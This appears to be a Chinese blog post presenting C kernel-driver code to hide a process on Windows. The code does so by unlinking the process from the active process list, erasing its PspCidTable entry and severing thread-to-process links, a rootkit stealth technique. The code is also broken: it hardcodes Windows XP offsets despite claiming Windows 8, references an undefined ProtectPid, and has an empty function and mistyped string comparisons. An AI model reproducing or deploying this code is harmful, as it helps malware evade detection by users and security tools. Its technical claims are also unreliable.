用Visual studio2012在Windows8上开发内核中隐藏进程

在Windows NT中,80386保护模式的“保护”比Windows 95中更坚固,这个“镀金的笼子”更加结实,更加难以打破。在Windows 95中,至少应用程序I/O操作是不受限制的,而在Windows NT中,我们的应用程序连这点权限都被剥夺了。在NT中几乎不太可能进入真正的ring0层。 
在Windows NT中,存在三种Device Driver:

  1.“Virtual device Driver” (VDD)。通过VDD,16位应用程序,如DOS 和Win16应用程序可以访问特定的I/O端口(注意,不是直接访问,而是要通过VDD来实现访问)。

  2.“GDI Driver”,提供显示和打印所需的GDI函数。

  3.“Kernel Mode Driver”,实现对特定硬件的操作,比如说CreateFile, CloseHandle (对于文件对象而言), ReadFile, WriteFile, DeviceIoControl 等操作。“Kernel Mode Driver”还是Windows NT中唯一可以对硬件中断和DMA进行操作的Driver。SCSI 小端口驱动和 网卡NDIS 驱动都是Kernel Mode Driver的一种特殊形式。

 

 

Visual studio2012与Windows8带来格外不同的新体验

 

1.启动Vs2012


2.看见满目的驱动开发模板

3.选择一个驱动模式,有内核模式与用户模式两种的驱动

 

4.创建一个驱动程序,KMDF DriverMVP

 

5.我们选择的是内核模式的驱动程序,下面是创建成功后的界面,分别是驱动程序本身,与驱动安装包

6.按下F5,选择驱动编译,

 


插入下列代码实现内核隐藏进程

头文件

#ifndef DBGHELP_H
#define DBGHELP_H 1




#include <ntifs.h>




/************************************************************************/
/* 重量级结构的申明                                                                     */
/************************************************************************/


typedef struct _HANDLE_TABLE {
    ULONG Flags;
    LONG HandleCount;
    PHANDLE_TABLE_ENTRY **Table;
    struct _EPROCESS *QuotaProcess;
    HANDLE UniqueProcessId;
    LONG FirstFreeTableEntry;
    LONG NextIndexNeedingPool;  
    ERESOURCE HandleTableLock; 
    LIST_ENTRY HandleTableList;
    KEVENT HandleContentionEvent;
} HANDLE_TABLE, *PHANDLE_TABLE;  

typedef BOOLEAN (*EX_ENUMERATE_HANDLE_ROUTINE)(
											   IN PHANDLE_TABLE_ENTRY HandleTableEntry,
											   IN HANDLE Handle,
											   IN PVOID EnumParameter
											   );
typedef BOOLEAN(*__ExEnumHandleTable)(
									  IN PHANDLE_TABLE HandleTable,
									  IN EX_ENUMERATE_HANDLE_ROUTINE EnumHandleProcedure,
									  IN PVOID EnumParameter,
									  OUT PHANDLE Handle OPTIONAL 
    );

typedef BOOLEAN (*EXENUMHANDLETABLE)(
									 IN PHANDLE_TABLE HandleTable,
									 IN EX_ENUMERATE_HANDLE_ROUTINE EnumHandleProcedure,
									 IN PVOID EnumParameter,
									 OUT PHANDLE Handle OPTIONAL
									   );

/************************************************************************/
/* 申明一些全局变量                                                                     */
/************************************************************************/
ULONG    g_Offset_Eprocess_Name=0;
ULONG    g_Offset_Eprocess_Flink = 0;
ULONG    g_Offset_Eprocess_ProcessId = 0;
ULONG    g_Offset_Eprocess_HandleTable = 0;
__ExEnumHandleTable ExEnumHandleTable ;

PEPROCESS  g_pEprocess_System = 0;
ULONG trytimes=0;
ULONG error=0;

/************************************************************************/
/* 申明一些函数                                                                     */
/************************************************************************/

BOOLEAN EnumHandleCallback(PHANDLE_TABLE_ENTRY HandleTableEntry,IN HANDLE Handle,PVOID EnumParameter
);


NTSTATUS 
EraseObjectFromHandleTable(
						   PHANDLE_TABLE pHandleTable,
						   IN ULONG ProcessId 
);

VOID RemoveNodeFromActiveProcessLinks(
  IN ULONG ProcessId
  );

VOID
HideProcessById(
  IN ULONG ProcessId
);


NTSTATUS 
LookupProcessByName(
					OUT PEPROCESS pEprocess 
					);

NTSTATUS 
InitializeCommonVariables(
    );

NTSTATUS GetProcessNameOffset(
					 OUT PULONG Offset OPTIONAL 
);

BOOLEAN IsValidModule(ULONG i);

void Search();

ULONG GetAddrFromProcessId();


VOID ClearMZMask();

#endif


 

 

源文件

VOID BreakThreadByProcess(ULONG Pid)
{
/*++

Routine Description:

	将所有线程ETHREAD结构的ThreadsProcess抹掉

Return Value:
VOID

--*/
	PEPROCESS eProcess;
	PETHREAD eThread;
	PLIST_ENTRY pList;
	
	PsLookupProcessByProcessId(Pid,&eProcess);
	pList = eProcess->Pcb.ThreadListHead.Blink;
	while (pList != eProcess->Pcb.ThreadListHead.Flink)
	{
		eThread = (PETHREAD)(CONTAINING_RECORD(pList,KTHREAD,ThreadListEntry));
		eThread->ThreadsProcess = 0;
		pList = pList->Blink;
	}
	
}


VOID ClearMZMask()
{
/*++



Routine Description:

	擦除PE文件MZ,PE标志

Return Value:
VOID

--*/
	PVOID addr;
	ULONG pid;
	PEPROCESS eProcess;
	KAPC_STATE apcstatus;


	pid = ProtectPid;
	PsLookupProcessByProcessId(pid,&eProcess);

	KeStackAttachProcess(eProcess,&apcstatus);


	KeUnstackDetachProcess(&apcstatus);
}



ULONG GetAddrFromProcessId() 
{ 
/*++



Routine Description:

	搜索PsLookupProcessByProcessId函数得到PspCidTable的地址
	ppPspCidTable:返回PspCidTable表地址

Return Value:
VOID

--*/
	UNICODE_STRING pslookup; 
	PUCHAR  addr; 
	PUCHAR p; 
	ULONG q; 
	RtlInitUnicodeString(&pslookup,L"PsLookupProcessByProcessId"); 
	addr=(PUCHAR)MmGetSystemRoutineAddress(&pslookup); 
	
	for(p=addr;p<addr+PAGE_SIZE;p++) 
	{ 
		if((*(PUSHORT)p==0x35ff)&&(*(p+6)==0xe8)) 
		{   
			q=*(PULONG)(p+2); 
			return q; 
			break; 
		} 
	} 
	return 0; 
}





BOOLEAN 
EnumHandleCallback(
IN PHANDLE_TABLE_ENTRY HandleTableEntry,
IN HANDLE Handle,
IN OUT PVOID EnumParameter 
)
{
    if(ARGUMENT_PRESENT(EnumParameter)&&*(HANDLE*)EnumParameter==Handle)
    {
        *(PHANDLE_TABLE_ENTRY*)EnumParameter=HandleTableEntry ;
        return TRUE ;
    }
    return FALSE ;
}





// 修改一下,可以传递要擦除的ID做参数
NTSTATUS 
EraseObjectFromHandleTable(
PHANDLE_TABLE pHandleTable,
IN ULONG ProcessId 
)
{
/*++



Routine Description:
  擦出PspCidTable结构中的句柄
  pHandleTable:指向句柄表指针
  ProcessId:进程的PID
 Return Value:
VOID

--*/

    NTSTATUS status ;
    
    PVOID EnumParameter ;
    UNICODE_STRING uniExEnumHandleTable ;
    
    __ExEnumHandleTable ExEnumHandleTable ;
    
    status=STATUS_NOT_FOUND ;
    EnumParameter=ProcessId ;
    
    
    RtlInitUnicodeString(&uniExEnumHandleTable,L"ExEnumHandleTable");
    ExEnumHandleTable=MmGetSystemRoutineAddress(&uniExEnumHandleTable);
    
    if(NULL==ExEnumHandleTable)
    {
        return STATUS_NOT_FOUND ;
    }
    
    // Enum后可以擦除,Callback过程中不能擦除
    if(ExEnumHandleTable(pHandleTable,EnumHandleCallback,&EnumParameter,NULL))
    {
        InterlockedExchangePointer(&((PHANDLE_TABLE_ENTRY)EnumParameter)->Object,NULL);
        status=STATUS_SUCCESS ;
    }
    
    return status ;
}





VOID RemoveNodeFromActiveProcessLinks(
  IN ULONG ProcessId
  )
{
/*++



Routine Description:
  移除进程EPROCESS结构中的ActiveProces中自己的链表
  ProcessId:进程的PID
 Return Value:
VOID

--*/
	NTSTATUS status;

    LIST_ENTRY  *pListEntry;
    PEPROCESS  pEprocess;
	status = PsLookupProcessByProcessId(ProcessId,&pEprocess);
	if (!NT_SUCCESS(status))
	{
		DbgPrint("PsLookupProcessByProcessId Error!\n");
		return ;
	}
//	ObDereferenceObject(pEprocess);


	pListEntry = (LIST_ENTRY *)((ULONG)pEprocess + 0x88);

	pListEntry->Flink->Blink = pListEntry->Blink;
	pListEntry->Blink->Flink = pListEntry->Flink;


}


VOID
HideProcessById(
				IN ULONG ProcessId 
				)
{
    NTSTATUS status ;
    HANDLE_TABLE *pPspCidTable ;
    PEPROCESS pCsrssEprocess=NULL ;
    
    

        status=InitializeCommonVariables();

    
    pPspCidTable = (HANDLE_TABLE *)GetAddrFromProcessId();
    
    

    status=LookupProcessByName(pCsrssEprocess);
    

   
    // 先从活动进程链表中摘除
   RemoveNodeFromActiveProcessLinks(ProcessId);
    
    
    // 擦除PspCidTable中对应的Object
    EraseObjectFromHandleTable(pPspCidTable,ProcessId);
    
    
    // 擦除Csrss进程中那份表,无数次蓝屏,所以坚决放弃
//    EraseObjectFromHandleTable(*(PULONG)((ULONG)pCsrssEprocess+0x0c4),ProcessId);
    
    
    return ;
}



NTSTATUS 
LookupProcessByName(
					OUT PEPROCESS pEprocess 
					)
{
	PEPROCESS esProcess;
	LIST_ENTRY *listen;
	esProcess = PsGetCurrentProcess();

	while (1)
	{
		listen = ((LIST_ENTRY *)((ULONG)esProcess + 0x88))->Blink;
		esProcess= (EPROCESS *)((ULONG)listen - 0x88);
		DbgPrint("Process is %s\n",(WCHAR *)((ULONG)esProcess + 0x174));
		if (!strncmp((WCHAR *)((ULONG)esProcess + 0x174),"csrss.exe",strlen("csrss.exe")))
		{
			DbgPrint("Process Name is %s\n",(WCHAR *)((ULONG)esProcess + 0x174));
			pEprocess = esProcess;
			DbgPrint("CSRSSS EPROCESS IS 0x%x\n",(ULONG)esProcess);
			return STATUS_SUCCESS;
			break;
		}
		listen = ((LIST_ENTRY *)((ULONG)esProcess + 0x88));
	} 

}



NTSTATUS 
GetProcessNameOffset(
					 OUT PULONG Offset OPTIONAL 
					 )
{
    NTSTATUS status ;
    PEPROCESS curproc ;
    ULONG i ;
    
    if(!MmIsAddressValid((PVOID)Offset))
    {
        status=STATUS_INVALID_PARAMETER ;
        return status ;
    }
    
    curproc=PsGetCurrentProcess();
    
    //
    // 然后搜索KPEB,得到ProcessName相对KPEB的偏移量
    // 偏移174h的位置,这里存的是进程的短文件名,少数地方用,
    // 比如SoftIce的addr和proc命令,如果名称超过16个字符直接截断
    
    // Scan for 12KB, hopping the KPEB never grows that big!
    //
    for(i=0;i<3*PAGE_SIZE;i++)
    {
        
        if(!strncmp("System",(PCHAR)curproc+i,strlen("System")))
        {
            *Offset=i ;
            status=STATUS_SUCCESS ;
            break ;
        }
    }
    return status ;
}


NTSTATUS 
InitializeCommonVariables(
)
{
    NTSTATUS status ;
    ULONG uMajorVersion ;
    ULONG uMinorVersion ;
    
    status=GetProcessNameOffset(&g_Offset_Eprocess_Name);
    
    if(!NT_SUCCESS(status))
    {
        return status ;
    }
    
    g_pEprocess_System=PsGetCurrentProcess();
    
    PsGetVersion(&uMajorVersion,&uMinorVersion,NULL,NULL);
    
    if(uMajorVersion==4&&uMinorVersion==0)
    {
        g_Offset_Eprocess_Flink=152 ;
        // Stop supporting NT 4.0
        return STATUS_UNSUCCESSFUL ;
    }
    else if(uMajorVersion==5&&uMinorVersion==0)
    {
        g_Offset_Eprocess_ProcessId=156 ;
        g_Offset_Eprocess_Flink=160 ;
        g_Offset_Eprocess_HandleTable=0x128 ;
    }
    else if(uMajorVersion==5&&uMinorVersion==1)
    {
        g_Offset_Eprocess_ProcessId=132 ;
        g_Offset_Eprocess_Flink=136 ;
        g_Offset_Eprocess_HandleTable=0xC4 ;
    }
    else if(uMajorVersion==5&&uMinorVersion==2)
    {
        g_Offset_Eprocess_ProcessId=132 ;
        g_Offset_Eprocess_Flink=136 ;
        g_Offset_Eprocess_HandleTable=0xC4 ;
    }
    
    return STATUS_SUCCESS ;
}

/*++

Routine Description:
  得到各个变量的偏移
 Return Value:
VOID

--*/


 

 

 

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

尹成

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值